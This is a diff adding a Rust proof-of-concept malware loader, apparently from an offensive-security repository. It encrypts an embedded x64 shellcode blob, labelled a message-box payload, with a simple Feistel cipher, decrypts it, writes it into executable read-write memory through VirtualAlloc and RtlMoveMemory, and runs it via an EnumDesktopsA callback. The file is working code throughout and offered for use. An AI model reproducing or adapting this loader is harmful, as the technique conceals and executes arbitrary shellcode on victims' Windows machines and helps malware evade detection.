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| 1 | +/* |
| 2 | + Rust DFC Encrypyion Techniques |
| 3 | + Description Encrypt and execute payload using DFC Algorithm. |
| 4 | + Original POC and Credits goes to Cocomelonc: https://cocomelonc.github.io/malware/2024/11/10/malware-cryptography-34.html |
| 5 | + @5mukx |
| 6 | +*/ |
| 7 | + |
| 8 | + |
| 9 | +use std::ptr; |
| 10 | +use winapi::shared::minwindef::LPVOID; |
| 11 | +use winapi::um::memoryapi::VirtualAlloc; |
| 12 | +use winapi::um::winnt::RtlMoveMemory; |
| 13 | +use winapi::um::winnt::MEM_COMMIT; |
| 14 | +use winapi::um::winnt::PAGE_EXECUTE_READWRITE; |
| 15 | +use winapi::um::winuser::EnumDesktopsA; |
| 16 | +use winapi::um::winuser::GetProcessWindowStation; |
| 17 | + |
| 18 | +const ROUNDS: usize = 8; |
| 19 | +const BLOCK_SIZE: usize = 16; |
| 20 | + |
| 21 | +// subkeys generated from the main key |
| 22 | +static mut K: [[u8; 16]; ROUNDS] = [[0; 16]; ROUNDS]; |
| 23 | + |
| 24 | +// rotate left func |
| 25 | +fn rot_l(x: u32, shift: u32) -> u32{ |
| 26 | + (x << shift) | (x >> (32 - shift)) |
| 27 | +} |
| 28 | + |
| 29 | +// function f for DFC round |
| 30 | +fn f(left: u32, key_part: u32) -> u32{ |
| 31 | + rot_l(left.wrapping_add(key_part), 3) ^ key_part |
| 32 | +} |
| 33 | + |
| 34 | +// DFC G function applies Feistel structure in each round |
| 35 | + |
| 36 | +fn g(left: &mut u32, right: &mut u32, round_key: &[u8]) { |
| 37 | + let temp_right = *right; |
| 38 | + *right = *left ^ f(*right, u32::from_ne_bytes(round_key[0..4].try_into().unwrap())); |
| 39 | + *left = temp_right; |
| 40 | +} |
| 41 | + |
| 42 | +// key schecule for DFC |
| 43 | +fn key_schedule(key: &[u8]) { |
| 44 | + unsafe { |
| 45 | + for i in 0..ROUNDS { |
| 46 | + for j in 0..16 { |
| 47 | + K[i][j] = key[j % 8] ^ (i as u8 + j as u8); |
| 48 | + } |
| 49 | + } |
| 50 | + } |
| 51 | +} |
| 52 | + |
| 53 | +// DFC Encryption |
| 54 | +fn dfc_encrypt(block: &mut [u32; 2], _key: &[u8]) { |
| 55 | + let (mut left, mut right) = (block[0], block[1]); |
| 56 | + |
| 57 | + unsafe { |
| 58 | + for i in 0..ROUNDS { |
| 59 | + g(&mut left, &mut right, &K[i]); |
| 60 | + } |
| 61 | + } |
| 62 | + |
| 63 | + block[0] = right; |
| 64 | + block[1] = left; |
| 65 | +} |
| 66 | + |
| 67 | +// DFC decryption function |
| 68 | +fn dfc_decrypt(block: &mut [u32; 2], _key: &[u8]) { |
| 69 | + let (mut left, mut right) = (block[0], block[1]); |
| 70 | + |
| 71 | + unsafe { |
| 72 | + for i in (0..ROUNDS).rev() { |
| 73 | + g(&mut left, &mut right, &K[i]); |
| 74 | + } |
| 75 | + } |
| 76 | + |
| 77 | + block[0] = right; |
| 78 | + block[1] = left; |
| 79 | +} |
| 80 | + |
| 81 | +// encrypt shellcode |
| 82 | +fn dfc_encrypt_shellcode(shellcode: &mut [u8], key: &[u8]) { |
| 83 | + key_schedule(key); |
| 84 | + for chunk in shellcode.chunks_exact_mut(BLOCK_SIZE) { |
| 85 | + let mut block = [u32::from_ne_bytes(chunk[0..4].try_into().unwrap()), |
| 86 | + u32::from_ne_bytes(chunk[4..8].try_into().unwrap())]; |
| 87 | + dfc_encrypt(&mut block, key); |
| 88 | + chunk[0..4].copy_from_slice(&block[0].to_ne_bytes()); |
| 89 | + chunk[4..8].copy_from_slice(&block[1].to_ne_bytes()); |
| 90 | + } |
| 91 | +} |
| 92 | + |
| 93 | +// decrypt shellcode |
| 94 | +fn dfc_decrypt_shellcode(shellcode: &mut [u8], key: &[u8]) { |
| 95 | + key_schedule(key); |
| 96 | + for chunk in shellcode.chunks_exact_mut(BLOCK_SIZE) { |
| 97 | + let mut block = [u32::from_ne_bytes(chunk[0..4].try_into().unwrap()), |
| 98 | + u32::from_ne_bytes(chunk[4..8].try_into().unwrap())]; |
| 99 | + dfc_decrypt(&mut block, key); |
| 100 | + chunk[0..4].copy_from_slice(&block[0].to_ne_bytes()); |
| 101 | + chunk[4..8].copy_from_slice(&block[1].to_ne_bytes()); |
| 102 | + } |
| 103 | +} |
| 104 | + |
| 105 | +fn main() { |
| 106 | + |
| 107 | + // msgbox_shellcode |
| 108 | + let shellcode: [u8; 328] = [0xfc,0x48,0x81,0xe4,0xf0,0xff,0xff, |
| 109 | + 0xff,0xe8,0xd0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51, |
| 110 | + 0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x3e,0x48,0x8b, |
| 111 | + 0x52,0x18,0x3e,0x48,0x8b,0x52,0x20,0x3e,0x48,0x8b,0x72,0x50, |
| 112 | + 0x3e,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,0xc0, |
| 113 | + 0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41, |
| 114 | + 0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x3e,0x48,0x8b,0x52,0x20, |
| 115 | + 0x3e,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x3e,0x8b,0x80,0x88,0x00, |
| 116 | + 0x00,0x00,0x48,0x85,0xc0,0x74,0x6f,0x48,0x01,0xd0,0x50,0x3e, |
| 117 | + 0x8b,0x48,0x18,0x3e,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3, |
| 118 | + 0x5c,0x48,0xff,0xc9,0x3e,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6, |
| 119 | + 0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d,0x41, |
| 120 | + 0x01,0xc1,0x38,0xe0,0x75,0xf1,0x3e,0x4c,0x03,0x4c,0x24,0x08, |
| 121 | + 0x45,0x39,0xd1,0x75,0xd6,0x58,0x3e,0x44,0x8b,0x40,0x24,0x49, |
| 122 | + 0x01,0xd0,0x66,0x3e,0x41,0x8b,0x0c,0x48,0x3e,0x44,0x8b,0x40, |
| 123 | + 0x1c,0x49,0x01,0xd0,0x3e,0x41,0x8b,0x04,0x88,0x48,0x01,0xd0, |
| 124 | + 0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,0x41, |
| 125 | + 0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59, |
| 126 | + 0x5a,0x3e,0x48,0x8b,0x12,0xe9,0x49,0xff,0xff,0xff,0x5d,0x3e, |
| 127 | + 0x48,0x8d,0x8d,0x30,0x01,0x00,0x00,0x41,0xba,0x4c,0x77,0x26, |
| 128 | + 0x07,0xff,0xd5,0x49,0xc7,0xc1,0x00,0x00,0x00,0x00,0x3e,0x48, |
| 129 | + 0x8d,0x95,0x0e,0x01,0x00,0x00,0x3e,0x4c,0x8d,0x85,0x24,0x01, |
| 130 | + 0x00,0x00,0x48,0x31,0xc9,0x41,0xba,0x45,0x83,0x56,0x07,0xff, |
| 131 | + 0xd5,0x48,0x31,0xc9,0x41,0xba,0xf0,0xb5,0xa2,0x56,0xff,0xd5, |
| 132 | + 0x48,0x65,0x79,0x20,0x6d,0x61,0x6e,0x2e,0x20,0x49,0x74,0x73, |
| 133 | + 0x20,0x6d,0x65,0x20,0x53,0x6d,0x75,0x6b,0x78,0x00,0x6b,0x6e, |
| 134 | + 0x6f,0x63,0x6b,0x2d,0x6b,0x6e,0x6f,0x63,0x6b,0x00,0x75,0x73, |
| 135 | + 0x65,0x72,0x33,0x32,0x2e,0x64,0x6c,0x6c,0x00 |
| 136 | +]; |
| 137 | + |
| 138 | + let my_payload_len = shellcode.len(); |
| 139 | + |
| 140 | + let pad_len = |
| 141 | + my_payload_len + (BLOCK_SIZE - my_payload_len % BLOCK_SIZE) % BLOCK_SIZE; |
| 142 | + let mut padded = vec![0x90; pad_len]; |
| 143 | + |
| 144 | + padded[..my_payload_len].copy_from_slice(&shellcode); |
| 145 | + |
| 146 | + println!("Original shellcode:"); |
| 147 | + |
| 148 | + for byte in &shellcode { |
| 149 | + print!("{:02x} ", byte); |
| 150 | + } |
| 151 | + |
| 152 | + println!("\n"); |
| 153 | + |
| 154 | + let key: [u8; 8] = [0x12, 0x34, 0x56, 0x78, 0x9A, 0xBC, 0xDE, 0xF0]; |
| 155 | + |
| 156 | + dfc_encrypt_shellcode(&mut padded, &key); |
| 157 | + |
| 158 | + println!("Encrypted shellcode:"); |
| 159 | + |
| 160 | + for byte in &padded { |
| 161 | + print!("{:02x} ", byte); |
| 162 | + } |
| 163 | + println!("\n"); |
| 164 | + |
| 165 | + dfc_decrypt_shellcode(&mut padded, &key); |
| 166 | + |
| 167 | + println!("Decrypted shellcode:"); |
| 168 | + for byte in &padded[..my_payload_len] { |
| 169 | + print!("{:02x} ", byte); |
| 170 | + } |
| 171 | + println!("\n"); |
| 172 | + |
| 173 | + // Allocate and execute decrypted shellcode |
| 174 | + unsafe { |
| 175 | + let mem: LPVOID = VirtualAlloc(ptr::null_mut(), |
| 176 | + my_payload_len, |
| 177 | + MEM_COMMIT, |
| 178 | + PAGE_EXECUTE_READWRITE |
| 179 | + ); |
| 180 | + |
| 181 | + |
| 182 | + if !mem.is_null() { |
| 183 | + RtlMoveMemory(mem, |
| 184 | + padded.as_ptr() as *const winapi::ctypes::c_void, |
| 185 | + my_payload_len |
| 186 | + ); |
| 187 | + EnumDesktopsA(GetProcessWindowStation(), |
| 188 | + std::mem::transmute(mem), |
| 189 | + 0, |
| 190 | + ); |
| 191 | + } |
| 192 | + } |
| 193 | +} |
| 194 | + |
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